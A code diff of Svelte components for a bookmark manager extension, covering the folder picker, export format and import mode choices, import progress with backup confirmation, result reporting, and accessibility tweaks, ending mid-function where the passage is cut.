|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.muted {
|
||||
margin: 0;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.option {
|
||||
@@ -166,8 +193,8 @@
|
||||
|
||||
.option select {
|
||||
font: inherit;
|
||||
padding: var(--sp-1) var(--sp-2);
|
||||
border: 1px solid var(--border);
|
||||
padding: 5px var(--sp-2);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
background: var(--bg);
|
||||
color: var(--fg);
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
<script lang="ts">
|
||||
import type { LiveNode } from '../browser/bookmarks';
|
||||
import type { CheckState } from '../core/select';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import { num, t, tPlural } from '../i18n/index.svelte';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
import Self from './FolderPickNode.svelte';
|
||||
|
||||
interface Props {
|
||||
@@ -14,12 +15,16 @@
|
||||
|
||||
let { node, depth, checkState, resolve, ontoggle }: Props = $props();
|
||||
|
||||
const CHUNK = 500;
|
||||
|
||||
// svelte-ignore state_referenced_locally
|
||||
let expanded = $state(depth < 2);
|
||||
let limit = $state(CHUNK);
|
||||
|
||||
/** Only folders are pickable — a bookmark travels with its parent. */
|
||||
const folders = $derived((node.children ?? []).filter((child) => child.url === undefined));
|
||||
const bookmarks = $derived((node.children ?? []).filter((child) => child.url !== undefined).length);
|
||||
const shown = $derived(folders.length > limit ? folders.slice(0, limit) : folders);
|
||||
|
||||
let input: HTMLInputElement | undefined = $state();
|
||||
|
||||
@@ -31,15 +36,18 @@
|
||||
});
|
||||
</script>
|
||||
|
||||
<li role="treeitem" aria-expanded={folders.length > 0 ? expanded : undefined} aria-level={depth} aria-selected={checkState === 'checked'}>
|
||||
<div class="row" style:padding-left="{(depth - 1) * 14}px">
|
||||
<!-- Nested lists of checkboxes, not role="tree": the checkboxes are the
|
||||
keyboard interface, and a tree role promised arrow keys it never had (uM5). -->
|
||||
<li>
|
||||
<div class="row" style:--depth={depth - 1}>
|
||||
{#if folders.length > 0}
|
||||
<button
|
||||
class="disclosure"
|
||||
aria-label={expanded ? t('import.collapse') : t('import.expand')}
|
||||
aria-expanded={expanded}
|
||||
aria-label={`${expanded ? t('import.collapse') : t('import.expand')}: ${node.title}`}
|
||||
onclick={() => {
|
||||
expanded = !expanded;
|
||||
}}>{expanded ? '▾' : '▸'}</button
|
||||
}}><Icon name="chevron" size={12} turned={expanded} /></button
|
||||
>
|
||||
{:else}
|
||||
<span class="disclosure" aria-hidden="true"></span>
|
||||
@@ -50,19 +58,27 @@
|
||||
type="checkbox"
|
||||
bind:this={input}
|
||||
checked={checkState === 'checked'}
|
||||
onchange={(e) => ontoggle(node, (e.currentTarget as HTMLInputElement).checked)}
|
||||
onchange={(e) => ontoggle(node, e.currentTarget.checked)}
|
||||
/>
|
||||
<span class="glyph"><Icon name="folder" size={14} /></span>
|
||||
<span class="title">{node.title}</span>
|
||||
{#if bookmarks > 0}<span class="count">{num(bookmarks)}</span>{/if}
|
||||
{#if bookmarks > 0}<span class="count mono">{num(bookmarks)}</span>{/if}
|
||||
</label>
|
||||
</div>
|
||||
|
||||
{#if expanded && folders.length > 0}
|
||||
<ul role="group">
|
||||
{#each folders as child (child.id)}
|
||||
<ul>
|
||||
{#each shown as child (child.id)}
|
||||
<Self node={child} depth={depth + 1} checkState={resolve(child)} {resolve} {ontoggle} />
|
||||
{/each}
|
||||
</ul>
|
||||
{#if folders.length > shown.length}
|
||||
<button class="more mono" style:--depth={depth} onclick={() => (limit += CHUNK)}>
|
||||
{tPlural('edit.showMore', Math.min(folders.length - shown.length, CHUNK), {
|
||||
total: num(folders.length - shown.length),
|
||||
})}
|
||||
</button>
|
||||
{/if}
|
||||
{/if}
|
||||
</li>
|
||||
|
||||
@@ -80,7 +96,13 @@
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-1);
|
||||
padding-block: 2px;
|
||||
min-height: 26px;
|
||||
padding-left: calc(var(--depth) * 18px);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
.row:hover {
|
||||
background: var(--bg-raised);
|
||||
}
|
||||
|
||||
label {
|
||||
@@ -92,8 +114,12 @@
|
||||
}
|
||||
|
||||
.disclosure {
|
||||
width: 1.2em;
|
||||
font: inherit;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
flex: none;
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--fg-muted);
|
||||
@@ -101,6 +127,11 @@
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.glyph {
|
||||
display: inline-flex;
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.title {
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
@@ -110,5 +141,21 @@
|
||||
.count {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
padding: 0 5px;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
}
|
||||
|
||||
.more {
|
||||
display: block;
|
||||
margin: 2px 0 2px calc(var(--depth) * 18px + 22px);
|
||||
font: inherit;
|
||||
font-size: var(--fs-0);
|
||||
background: none;
|
||||
border: 1px dashed var(--border-strong);
|
||||
border-radius: var(--radius-sm);
|
||||
color: var(--accent);
|
||||
cursor: pointer;
|
||||
padding: 1px var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -1,6 +1,6 @@
|
||||
<script lang="ts">
|
||||
import type { LiveNode } from '../browser/bookmarks';
|
||||
import { checkStateOf, toggleSelection } from '../core/select';
|
||||
import { checkStates, toggleSelection } from '../core/select';
|
||||
import FolderPickNode from './FolderPickNode.svelte';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
|
||||
@@ -14,6 +14,13 @@
|
||||
let { roots, selection, onchange }: Props = $props();
|
||||
|
||||
const everything = $derived(selection === undefined);
|
||||
const states = $derived(selection === undefined ? undefined : checkStates(roots, selection));
|
||||
let master: HTMLInputElement | undefined = $state();
|
||||
// "Everything" is half-checked while a partial selection exists (uL30);
|
||||
// `indeterminate` is a DOM property with no attribute, so it is set here.
|
||||
$effect(() => {
|
||||
if (master !== undefined) master.indeterminate = selection !== undefined && selection.size > 0;
|
||||
});
|
||||
|
||||
function toggleNode(node: LiveNode, checked: boolean): void {
|
||||
// Leaving "Everything" materialises it into a real selection first, so the
|
||||
@@ -26,21 +33,21 @@
|
||||
<div class="pick">
|
||||
<label class="master">
|
||||
<input
|
||||
bind:this={master}
|
||||
type="checkbox"
|
||||
checked={everything}
|
||||
onchange={(e) => onchange((e.currentTarget as HTMLInputElement).checked ? undefined : new Set())}
|
||||
onchange={(e) => onchange(e.currentTarget.checked ? undefined : new Set())}
|
||||
/>
|
||||
<strong>{t('export.everything')}</strong>
|
||||
</label>
|
||||
|
||||
<ul role="tree" aria-label={t('export.scope')}>
|
||||
<ul aria-label={t('export.scope')}>
|
||||
{#each roots as root (root.id)}
|
||||
<FolderPickNode
|
||||
node={root}
|
||||
depth={1}
|
||||
checkState={everything ? 'checked' : checkStateOf(roots, root, selection ?? new Set())}
|
||||
resolve={(node) =>
|
||||
everything ? 'checked' : checkStateOf(roots, node, selection ?? new Set())}
|
||||
checkState={states?.get(root.id) ?? 'checked'}
|
||||
resolve={(node) => states?.get(node.id) ?? 'checked'}
|
||||
ontoggle={toggleNode}
|
||||
/>
|
||||
{/each}
|
||||
@@ -49,10 +56,11 @@
|
||||
|
||||
<style>
|
||||
.pick {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: var(--sp-3);
|
||||
max-height: 420px;
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
max-height: min(62vh, 560px);
|
||||
overflow: auto;
|
||||
}
|
||||
|
||||
@@ -60,7 +68,7 @@
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding-bottom: var(--sp-2);
|
||||
padding: var(--sp-1) 0 var(--sp-2);
|
||||
border-bottom: 1px solid var(--border);
|
||||
margin-bottom: var(--sp-2);
|
||||
}
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
import type { ExportFormat } from '../browser/storage';
|
||||
import { t } from '../i18n/index.svelte';
|
||||
import { FORMAT_META } from '../export/run-export';
|
||||
import Icon from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
format: ExportFormat;
|
||||
@@ -10,11 +11,12 @@
|
||||
|
||||
let { format, onchange }: Props = $props();
|
||||
|
||||
// SAFETY: FORMAT_META is a Record<ExportFormat, …>, so its keys are exactly that union.
|
||||
const FORMATS = Object.keys(FORMAT_META) as ExportFormat[];
|
||||
</script>
|
||||
|
||||
<fieldset>
|
||||
<legend>{t('export.format')}</legend>
|
||||
<legend class="sr-only">{t('export.format')}</legend>
|
||||
{#each FORMATS as value (value)}
|
||||
<label class:selected={format === value}>
|
||||
<input
|
||||
@@ -23,8 +25,9 @@
|
||||
checked={format === value}
|
||||
onchange={() => onchange(value)}
|
||||
/>
|
||||
<span class="icon"><Icon name={value === 'markdown' ? 'file' : value === 'bm-json' ? 'backup' : 'code'} size={16} /></span>
|
||||
<span class="body">
|
||||
<strong>{t(`export.formats.${value}.name`)}</strong>
|
||||
<strong>{t(`export.formats.${value}.name`)} <span class="ext mono">.{FORMAT_META[value].extension}</span></strong>
|
||||
<span class="note">{t(`export.formats.${value}.note`)}</span>
|
||||
</span>
|
||||
</label>
|
||||
@@ -41,30 +44,46 @@
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
|
||||
legend {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
padding: 0 0 var(--sp-2);
|
||||
}
|
||||
|
||||
label {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
gap: var(--sp-2);
|
||||
gap: var(--sp-3);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
label:hover {
|
||||
border-color: var(--accent);
|
||||
}
|
||||
|
||||
.selected {
|
||||
border-color: var(--accent);
|
||||
background: var(--bg-raised);
|
||||
background: var(--accent-subtle);
|
||||
box-shadow: inset 3px 0 0 var(--accent);
|
||||
}
|
||||
|
||||
input {
|
||||
margin-top: 3px;
|
||||
}
|
||||
|
||||
.icon {
|
||||
display: inline-flex;
|
||||
padding-top: 1px;
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.ext {
|
||||
font-weight: 400;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.note {
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* The import's spoken status — docs/06 §5. One live region that is always
|
||||
* in the page and only changes its text: a region inserted already filled is
|
||||
* not reliably announced, and the progress and result sections each come and
|
||||
* go with their state (v1.1.0 review). Failures are not repeated here: their
|
||||
* callouts are alerts already.
|
||||
*/
|
||||
import { t, tPlural } from '../i18n/index.svelte';
|
||||
import type { ImportState } from '../stores/import-session.svelte';
|
||||
|
||||
interface Props {
|
||||
state: ImportState;
|
||||
}
|
||||
|
||||
let { state }: Props = $props();
|
||||
|
||||
const message = $derived.by((): string => {
|
||||
switch (state.kind) {
|
||||
case 'validating':
|
||||
return t('import.reading', { name: state.filename });
|
||||
case 'backing-up':
|
||||
return t('import.backingUp');
|
||||
case 'clearing':
|
||||
return t('import.clearing');
|
||||
// Once, not per progress tick: the text does not change between ticks.
|
||||
case 'writing':
|
||||
return t('import.stepWriting');
|
||||
case 'done':
|
||||
return t('import.doneSummary', {
|
||||
bookmarks: tPlural('import.countBookmarks', state.plan.stats.bookmarkCount),
|
||||
folders: tPlural('import.countFolders', state.plan.stats.folderCount),
|
||||
});
|
||||
case 'cancelled':
|
||||
return tPlural('import.cancelledSummary', state.created);
|
||||
default:
|
||||
return '';
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<p class="sr-only" role="status" aria-live="polite">{message}</p>
|
||||
@@ -2,6 +2,7 @@
|
||||
import type { ImportMode } from '../browser/storage';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import Callout from './Callout.svelte';
|
||||
import Icon, { type IconName } from './icons/Icon.svelte';
|
||||
|
||||
interface Props {
|
||||
mode: ImportMode;
|
||||
@@ -18,19 +19,33 @@
|
||||
merge: 'import.mode.merge',
|
||||
replace: 'import.mode.replace',
|
||||
};
|
||||
const NOTE: Record<ImportMode, string> = {
|
||||
'new-folder': 'import.mode.newFolderNote',
|
||||
merge: 'import.mode.mergeNote',
|
||||
replace: 'import.mode.replaceNote',
|
||||
};
|
||||
const ICON: Record<ImportMode, IconName> = {
|
||||
'new-folder': 'folder-plus',
|
||||
merge: 'layers',
|
||||
replace: 'backup',
|
||||
};
|
||||
</script>
|
||||
|
||||
<fieldset>
|
||||
<legend>{t('import.mode.legend')}</legend>
|
||||
<legend class="eyebrow">{t('import.mode.legend')}</legend>
|
||||
{#each MODES as value (value)}
|
||||
<label>
|
||||
<label class="mode" class:selected={mode === value} class:danger={value === 'replace'}>
|
||||
<input
|
||||
type="radio"
|
||||
name="merge-mode"
|
||||
checked={mode === value}
|
||||
onchange={() => onchange({ mode: value })}
|
||||
/>
|
||||
<span>{t(LABEL[value])}</span>
|
||||
<span class="icon"><Icon name={ICON[value]} size={16} /></span>
|
||||
<span class="text">
|
||||
<span class="name">{t(LABEL[value])}</span>
|
||||
<span class="note">{t(NOTE[value])}</span>
|
||||
</span>
|
||||
</label>
|
||||
{/each}
|
||||
</fieldset>
|
||||
@@ -44,7 +59,7 @@
|
||||
type="checkbox"
|
||||
checked={mode === 'replace' ? false : dedupe}
|
||||
disabled={mode === 'replace'}
|
||||
onchange={(e) => onchange({ dedupe: (e.currentTarget as HTMLInputElement).checked })}
|
||||
onchange={(e) => onchange({ dedupe: e.currentTarget.checked })}
|
||||
/>
|
||||
<span>{t('import.dedupe', { n: num(duplicates) })}</span>
|
||||
</label>
|
||||
@@ -52,35 +67,89 @@
|
||||
{#if mode === 'replace'}
|
||||
<!-- Skipping "existing" links is meaningless once the tree is deleted, and
|
||||
actively harmful when restoring a backup — docs/05 §3. -->
|
||||
<p class="note">{t('import.dedupeDisabled')}</p>
|
||||
<p class="aside">{t('import.dedupeDisabled')}</p>
|
||||
{/if}
|
||||
|
||||
<style>
|
||||
fieldset {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-sm);
|
||||
padding: var(--sp-3);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-2);
|
||||
border: none;
|
||||
padding: 0;
|
||||
margin: 0 0 var(--sp-3);
|
||||
}
|
||||
|
||||
legend {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
padding: 0 var(--sp-1);
|
||||
padding: 0;
|
||||
margin-bottom: var(--sp-2);
|
||||
}
|
||||
|
||||
label {
|
||||
.mode {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
padding-block: var(--sp-1);
|
||||
align-items: flex-start;
|
||||
gap: var(--sp-3);
|
||||
padding: var(--sp-2) var(--sp-3);
|
||||
border: 1px solid var(--border-strong);
|
||||
border-radius: var(--radius);
|
||||
background: var(--bg);
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dedupe {
|
||||
margin-top: var(--sp-3);
|
||||
.mode:hover {
|
||||
border-color: var(--accent);
|
||||
}
|
||||
|
||||
.mode.selected {
|
||||
border-color: var(--accent);
|
||||
background: var(--accent-subtle);
|
||||
box-shadow: inset 3px 0 0 var(--accent);
|
||||
}
|
||||
|
||||
.mode.danger.selected {
|
||||
border-color: var(--danger);
|
||||
box-shadow: inset 3px 0 0 var(--danger);
|
||||
}
|
||||
|
||||
.mode input {
|
||||
margin-top: 3px;
|
||||
}
|
||||
|
||||
.icon {
|
||||
display: inline-flex;
|
||||
padding-top: 1px;
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.danger .icon {
|
||||
color: var(--danger);
|
||||
}
|
||||
|
||||
.text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.name {
|
||||
font-size: var(--fs-1);
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.note {
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
|
||||
.dedupe {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--sp-2);
|
||||
margin-top: var(--sp-3);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.aside {
|
||||
margin: var(--sp-1) 0 0 var(--sp-5);
|
||||
font-size: var(--fs-0);
|
||||
color: var(--fg-muted);
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* Step 04 of an import — docs/03 §1 steps 6–8: the safety backup, its
|
||||
* attestation, the Replace clear, and the write itself. No Cancel while the
|
||||
* tree is being cleared: it used to stay live there and report "0 created".
|
||||
*/
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import {
|
||||
answerAttestation,
|
||||
cancelWrite,
|
||||
type ImportState,
|
||||
} from '../stores/import-session.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Callout from './Callout.svelte';
|
||||
import { focusLost, focusWhenShown } from './focus-heading';
|
||||
import ProgressBar from './ProgressBar.svelte';
|
||||
|
||||
type Writing = Extract<ImportState, { kind: 'backing-up' | 'attesting' | 'clearing' | 'writing' }>;
|
||||
|
||||
interface Props {
|
||||
phase: Writing;
|
||||
}
|
||||
|
||||
let { phase }: Props = $props();
|
||||
let heading = $state<HTMLElement | undefined>();
|
||||
|
||||
// The step stays mounted from the backup to the last write, so its heading
|
||||
// takes focus once on its own. A phase change can then remove the control
|
||||
// that had focus — confirming the backup removes both of its buttons — and
|
||||
// focus fell to `<body>`: hand it to the heading again.
|
||||
$effect(() => {
|
||||
void phase.kind;
|
||||
if (heading !== undefined && focusLost()) heading.focus();
|
||||
});
|
||||
</script>
|
||||
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow" tabindex="-1" bind:this={heading} {@attach focusWhenShown}>
|
||||
04 · {t('import.stepWriting')}
|
||||
</h2>
|
||||
{#if phase.kind === 'backing-up'}
|
||||
<Callout tone="warn">{t('import.backingUp')}</Callout>
|
||||
{:else if phase.kind === 'attesting'}
|
||||
<!-- The anchor download reports nothing, so this confirmation is the only
|
||||
thing standing between the user and an unbacked-up deletion. -->
|
||||
<Callout tone="danger">{t('import.attest', { name: phase.backupFilename })}</Callout>
|
||||
<div class="actions">
|
||||
<Button variant="danger" onclick={() => answerAttestation(true)}>{t('import.attestConfirm')}</Button>
|
||||
<Button onclick={() => answerAttestation(false)}>{t('common.cancel')}</Button>
|
||||
</div>
|
||||
{:else if phase.kind === 'clearing'}
|
||||
<Callout tone="danger">{t('import.clearing')}</Callout>
|
||||
{:else}
|
||||
<ProgressBar done={phase.progress.done} total={phase.progress.total} label={t('common.import')} />
|
||||
<p class="muted mono">
|
||||
{t('import.progress', { done: num(phase.progress.done), total: num(phase.progress.total) })}
|
||||
{#if phase.progress.currentPath !== ''}<span class="path">{phase.progress.currentPath}</span>{/if}
|
||||
</p>
|
||||
<Callout tone="warn">{t('import.keepTabOpen')}</Callout>
|
||||
<div class="actions"><Button icon="close" onclick={cancelWrite}>{t('common.cancel')}</Button></div>
|
||||
{/if}
|
||||
</section>
|
||||
|
||||
<style>
|
||||
.panel {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.muted {
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.path {
|
||||
display: block;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--sp-2);
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,131 @@
|
||||
<script lang="ts">
|
||||
/**
|
||||
* What an import did — docs/03 §1 step 9. Bookmarks and folders counted
|
||||
* separately, what was skipped and reused, and WHERE it all went: a cancel or
|
||||
* a failure used to give a number and no location (uM11).
|
||||
*/
|
||||
import { num, t, tPlural } from '../i18n/index.svelte';
|
||||
import { type ImportState, resetImport, type WriteSite } from '../stores/import-session.svelte';
|
||||
import { navigate } from '../stores/route.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Callout from './Callout.svelte';
|
||||
import ErrorCallout from './ErrorCallout.svelte';
|
||||
import { focusWhenShown } from './focus-heading';
|
||||
|
||||
type Finished = Extract<ImportState, { kind: 'done' | 'cancelled' | 'error' }>;
|
||||
|
||||
interface Props {
|
||||
state: Finished;
|
||||
}
|
||||
|
||||
let { state }: Props = $props();
|
||||
|
||||
const site = $derived.by((): WriteSite | undefined => {
|
||||
if (state.kind !== 'done') return state.where;
|
||||
const wrapper = state.plan.mode === 'new-folder' ? (state.plan.segments[0]?.nodes[0]?.title ?? '') : '';
|
||||
return { mode: state.plan.mode, folder: wrapper };
|
||||
});
|
||||
|
||||
const wroteSomething = $derived(
|
||||
state.kind === 'done' || (state.kind === 'cancelled' ? state.created > 0 : (state.created ?? 0) > 0),
|
||||
);
|
||||
|
||||
function where(site: WriteSite): string {
|
||||
if (site.mode === 'new-folder') return t('import.whereNewFolder', { folder: site.folder });
|
||||
return t(site.mode === 'merge' ? 'import.whereMerge' : 'import.whereReplace');
|
||||
}
|
||||
</script>
|
||||
|
||||
<section class="panel">
|
||||
<h2 class="eyebrow" tabindex="-1" {@attach focusWhenShown}>05 · {t('import.stepResult')}</h2>
|
||||
{#if state.kind === 'error'}
|
||||
<ErrorCallout messageKey={state.messageKey} detail={state.detail} />
|
||||
{/if}
|
||||
{#if state.kind === 'done'}
|
||||
<Callout tone="success">
|
||||
<strong>
|
||||
{t('import.doneSummary', {
|
||||
bookmarks: tPlural('import.countBookmarks', state.plan.stats.bookmarkCount),
|
||||
folders: tPlural('import.countFolders', state.plan.stats.folderCount),
|
||||
})}
|
||||
</strong>
|
||||
</Callout>
|
||||
<ul class="facts">
|
||||
<li>
|
||||
{t('import.skipped', {
|
||||
existing: num(state.plan.stats.skippedExisting),
|
||||
inFile: num(state.plan.stats.skippedInFile),
|
||||
})}
|
||||
</li>
|
||||
{#if state.plan.stats.reusedFolders > 0}
|
||||
<li>{tPlural('import.reused', state.plan.stats.reusedFolders)}</li>
|
||||
{/if}
|
||||
{#if site !== undefined}<li>{where(site)}</li>{/if}
|
||||
</ul>
|
||||
{:else if state.kind === 'cancelled'}
|
||||
<Callout tone="warn">{tPlural('import.cancelledSummary', state.created)}</Callout>
|
||||
{#if state.backupFilename !== undefined}
|
||||
<Callout tone="danger">{t('import.cancelledAfterClear')}</Callout>
|
||||
{/if}
|
||||
{:else}
|
||||
{#if state.created !== undefined && state.created > 0}
|
||||
<p class="muted">{tPlural('import.partialCreated', state.created)}</p>
|
||||
{/if}
|
||||
{#if state.removed !== undefined && state.removed > 0}
|
||||
<Callout tone="danger">{tPlural('import.partialCleared', state.removed)}</Callout>
|
||||
{/if}
|
||||
{/if}
|
||||
|
||||
{#if state.kind !== 'done' && wroteSomething && site !== undefined && site.mode !== 'replace'}
|
||||
<p class="muted">{where(site)}</p>
|
||||
{/if}
|
||||
{#if state.kind !== 'done' && state.backupFilename !== undefined}
|
||||
<p class="muted">{t('import.backupHint', { name: state.backupFilename })}</p>
|
||||
{/if}
|
||||
{#if wroteSomething}
|
||||
<p class="muted">{t('import.dateNotice')}</p>
|
||||
{/if}
|
||||
<div class="actions">
|
||||
{#if state.kind === 'done'}
|
||||
<Button variant="primary" icon="edit" onclick={() => navigate('edit')}>{t('import.openEdit')}</Button>
|
||||
{/if}
|
||||
<Button onclick={resetImport}>{t('import.another')}</Button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<style>
|
||||
.panel {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--sp-3);
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
h2 {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: var(--sp-2);
|
||||
margin-top: var(--sp-2);
|
||||
}
|
||||
|
||||
.facts {
|
||||
margin: var(--sp-3) 0 0;
|
||||
padding-left: var(--sp-4);
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
|
||||
.facts li + li {
|
||||
margin-top: var(--sp-1);
|
||||
}
|
||||
|
||||
.muted {
|
||||
margin: var(--sp-2) 0 0;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-1);
|
||||
}
|
||||
</style>
|
||||
@@ -1,45 +1,64 @@
|
||||
<script lang="ts">
|
||||
import { describeError } from '../browser/describe-error';
|
||||
import { timestampSuffix } from '../browser/download';
|
||||
import { backupFilename as suggestBackupName } from '../browser/download';
|
||||
import { BmAborted } from '../browser/errors';
|
||||
import { num, t } from '../i18n/index.svelte';
|
||||
import { prepareImport, runImport } from '../import/run-import';
|
||||
import { getSettings } from '../stores/settings.svelte';
|
||||
import { t, tPlural } from '../i18n/index.svelte';
|
||||
import { folderDate } from '../import/folder-name';
|
||||
import { prepareImport, previewPlan, runImport } from '../import/run-import';
|
||||
import {
|
||||
answerAttestation,
|
||||
awaitAttestation,
|
||||
beginWrite,
|
||||
cancelWrite,
|
||||
getImportOptions,
|
||||
getImportState,
|
||||
getPrepared,
|
||||
resetImport,
|
||||
setImportOptions,
|
||||
setImportState,
|
||||
setPrepared,
|
||||
type WriteSite,
|
||||
} from '../stores/import-session.svelte';
|
||||
import { navigate } from '../stores/route.svelte';
|
||||
import { getSettings } from '../stores/settings.svelte';
|
||||
import Button from './Button.svelte';
|
||||
import Callout from './Callout.svelte';
|
||||
import ConfirmDialog from './ConfirmDialog.svelte';
|
||||
import DropZone from './DropZone.svelte';
|
||||
import ErrorCallout from './ErrorCallout.svelte';
|
||||
import { focusWhenShown } from './focus-heading';
|
||||
import ImportAnnouncer from './ImportAnnouncer.svelte';
|
||||
import ImportOptions from './ImportOptions.svelte';
|
||||
import ProgressBar from './ProgressBar.svelte';
|
||||
import ImportProgress from './ImportProgress.svelte';
|
||||
import ImportReport from './ImportReport.svelte';
|
||||
import StatsCard from './StatsCard.svelte';
|
||||
import TreePreview from './TreePreview.svelte';
|
||||
import WarningList from './WarningList.svelte';
|
||||
|
||||
// `prepared` lives in the session store, not here: the Manager unmounts this
|
||||
// component on every route change, and losing it would leave a preview with
|
||||
// no badges and a dead Import button (docs/03 §5).
|
||||
// component on every route change (docs/03 §5).
|
||||
const prepared = $derived(getPrepared());
|
||||
const session = $derived(getImportState());
|
||||
const options = $derived(getImportOptions());
|
||||
/** The counts the Start button and the Replace confirmation promise (uM10). */
|
||||
const forecast = $derived(
|
||||
prepared === undefined ? undefined : previewPlan(prepared, options.mode, options.dedupe),
|
||||
);
|
||||
let confirmingReplace = $state(false);
|
||||
/** Set once a file is picked: only then does the step-01 heading take focus on return. */
|
||||
let visited = $state(false);
|
||||
|
||||
const counts = (bookmarks: number, folders: number): string =>
|
||||
t('import.countPair', {
|
||||
bookmarks: tPlural('import.countBookmarks', bookmarks),
|
||||
folders: tPlural('import.countFolders', folders),
|
||||
});
|
||||
|
||||
async function onFile(file: File): Promise<void> {
|
||||
visited = true;
|
||||
setImportState({ kind: 'validating', filename: file.name });
|
||||
try {
|
||||
const result = await prepareImport(file);
|
||||
const result = await prepareImport(file, {
|
||||
rootTitles: {
|
||||
toolbar: t('import.rootTitle.toolbar'),
|
||||
other: t('import.rootTitle.unfiled'),
|
||||
mobile: t('import.rootTitle.mobile'),
|
||||
},
|
||||
});
|
||||
setPrepared(result);
|
||||
setImportOptions({ mode: getSettings().defaultMergeMode });
|
||||
setImportState({
|
||||
@@ -54,17 +73,26 @@
|
||||
}
|
||||
}
|
||||
|
||||
/** Replace asks first, with exact numbers (docs/09 T4); the other modes start at once. */
|
||||
function onStart(filename: string): void {
|
||||
if (options.mode === 'replace') confirmingReplace = true;
|
||||
else void start(filename);
|
||||
}
|
||||
|
||||
async function start(filename: string): Promise<void> {
|
||||
confirmingReplace = false;
|
||||
const current = prepared;
|
||||
if (current === undefined) return;
|
||||
const signal = beginWrite();
|
||||
const now = new Date();
|
||||
const backupFilename = `bookmarkmagic-backup-${timestampSuffix(now)}.json`;
|
||||
/** Set once the backup is on disk. Nothing may point at the file before. */
|
||||
let backupProven = false;
|
||||
const backupFilename = suggestBackupName(now);
|
||||
const folder = t('import.folderName', { date: folderDate(now) });
|
||||
const where: WriteSite = { mode: options.mode, folder: options.mode === 'new-folder' ? folder : '' };
|
||||
/** The name the backup was saved under, once it is on disk. Nothing may point at it before. */
|
||||
let savedAs: string | undefined;
|
||||
|
||||
// runImport opens the save picker as its first statement, so the transient
|
||||
// activation from this click still holds when the dialog appears.
|
||||
// activation from this click (or the confirmation's) still holds.
|
||||
setImportState(
|
||||
